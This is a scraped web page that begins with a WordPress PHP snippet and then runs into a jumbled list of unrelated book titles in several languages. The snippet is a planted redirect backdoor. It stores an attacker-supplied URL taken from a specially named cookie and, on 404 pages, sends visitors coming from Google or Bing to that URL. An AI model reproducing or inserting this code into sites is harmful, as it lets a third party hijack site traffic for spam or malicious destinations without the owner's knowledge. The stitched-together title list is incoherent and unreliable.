function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Borges y la memoria: Un viaje por el cerebro humano. De "Funes el memorioso" a la neurona de Jennifer (Spanish Edition) The Emergence of the Urban Entrepreneur: How the Growth of Cities and the Sharing Economy Are Driving a New Breed of Innovators Modellistica Numerica per Problemi Differenziali (UNITEXT) (Italian Edition) Evolutionary Psychology in the Business Sciences Begriffswelt der Feldtheorie: Elektromagnetische Felder, Maxwell-Gleichungen, Gradient, Rotation, Divergenz (Springer-Lehrbuch) (German Edition) Pure Heart: The Faith of a Father and Son in the War for a More Perfect Union (Civil War in the North) L'empire du rite. La pensée politique d'Ogyû Sorai. Japon 1666-1728 (Titre courant) (French Edition) Verbesserung der Schwimmtechnik Brustkraul in der Feinform: Berufsfeldbezogenes lehrpraktisches Handeln (German Edition) The Philosophy of Qi: The Record of Great Doubts (Translations from the Asian Classics) Cultural Theory After the Contemporary Spider in the Web (Web Series Book 2) My Life in Christ: 2 Volume Set: The Spiritual Journals of St John of Kronstadt Constructive Therapies V2: Volume 2 Fragrant: The Secret Life of Scent Nonlinear Analysis: 9 (Mathematical Analysis and Applications)